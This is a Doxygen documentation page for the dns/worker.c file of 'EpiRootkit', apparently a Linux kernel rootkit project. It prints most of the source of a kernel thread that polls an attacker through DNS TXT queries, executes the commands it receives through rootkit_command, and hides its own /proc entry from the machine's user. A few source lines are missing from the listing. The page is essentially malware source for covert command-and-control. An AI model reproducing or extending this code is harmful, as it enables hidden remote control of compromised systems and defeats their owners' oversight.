EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
worker.c File Reference
#include "hide_api.h"
#include "network.h"
Include dependency graph for dns/worker.c:

Go to the source code of this file.

Functions

static int dns_worker (void *data)
 Kernel thread function to process DNS-based commands.
 
int start_dns_worker (void)
 Starts the DNS worker kernel thread.
 
int stop_dns_worker (void)
 Stops the DNS worker kernel thread.
 

Variables

static struct task_struct * dns_worker_thread = NULL
 

Function Documentation

◆ dns_worker()

static int dns_worker ( void *  data)
static

Kernel thread function to process DNS-based commands.

This function runs in a loop as a kernel thread. It waits for commands sent over DNS, processes them, and executes the corresponding rootkit commands. The thread periodically sleeps for a defined interval to avoid busy-waiting.

Parameters
dataUnused parameter, passed as NULL.
Returns
Always returns 0 upon thread termination.

Definition at line 17 of file dns/worker.c.

17 {
18 char cmd_buf[RCV_CMD_BUFFER_SIZE / 2];
19
20 while (!kthread_should_stop()) {
21 int len = dns_receive_command(cmd_buf, sizeof(cmd_buf));
22 if (len > 0) {
23 // Send the response of command over DNS
24 DBG_MSG("dns_worker: got commmand from attacker '%s'\n", cmd_buf);
25 rootkit_command(cmd_buf, len + 1, DNS);
26 }
27
28 // Sleep for a defined interval to avoid busy-waiting
30 }
31 return 0;
32}
int rootkit_command(char *command, unsigned command_size, enum Protocol protocol)
Definition cmd.c:122
#define DBG_MSG(fmt, args...)
Definition config.h:15
@ DNS
Definition config.h:30
#define DNS_POLL_INTERVAL_MS
Definition config.h:41
#define RCV_CMD_BUFFER_SIZE
Definition config.h:37
int dns_receive_command(char *buffer, size_t max_len)
Poll the attacker via DNS TXT-query for a pending command.
Definition dns.c:222

◆ start_dns_worker()

int start_dns_worker ( void  )

Starts the DNS worker kernel thread.

This function initializes and starts a kernel thread that listens for commands sent over DNS. If the thread is already running, it returns an error code indicating that the resource is busy.

Returns
SUCCESS (0) on successful thread creation.
-EBUSY if the thread is already running.
Negative error code if thread creation fails.

Definition at line 45 of file dns/worker.c.

45 {
47 return -EBUSY;
48
49 // Create the DNS worker thread
51 if (IS_ERR(dns_worker_thread))
52 return PTR_ERR(dns_worker_thread);
53
54 // Hide the thread from the user
55 char path[32] = { 0 };
56 snprintf(path, sizeof(path), "/proc/%d", dns_worker_thread->pid);
57 hide_file(path);
58
59 return SUCCESS;
60}
#define DNS_WORKER_THREAD_NAME
Definition config.h:40
#define SUCCESS
Definition config.h:5
static struct task_struct * dns_worker_thread
Definition dns/worker.c:4
static int dns_worker(void *data)
Kernel thread function to process DNS-based commands.
Definition dns/worker.c:17
int hide_file(const char *path)
Definition hide_api.c:25

◆ stop_dns_worker()

int stop_dns_worker ( void  )

Stops the DNS worker kernel thread.

This function stops the running DNS worker thread and cleans up its resources. If the thread is not running, it returns an error code indicating invalid operation.

Returns
SUCCESS (0) on successful thread termination.
-EINVAL if the thread is not running or is invalid.

Definition at line 72 of file dns/worker.c.

72 {
74 return -EINVAL;
75
76 // Remove the hidden directory associated with the thread
77 char path[32] = { 0 };
78 snprintf(path, sizeof(path), "/proc/%d", dns_worker_thread->pid);
79 unhide_file(path);
80
81 // Stop the DNS worker thread
82 kthread_stop(dns_worker_thread);
83 dns_worker_thread = NULL;
84
85 return SUCCESS;
86}
int unhide_file(const char *path)
Definition hide_api.c:52

Variable Documentation

◆ dns_worker_thread

struct task_struct* dns_worker_thread = NULL
static

Definition at line 4 of file dns/worker.c.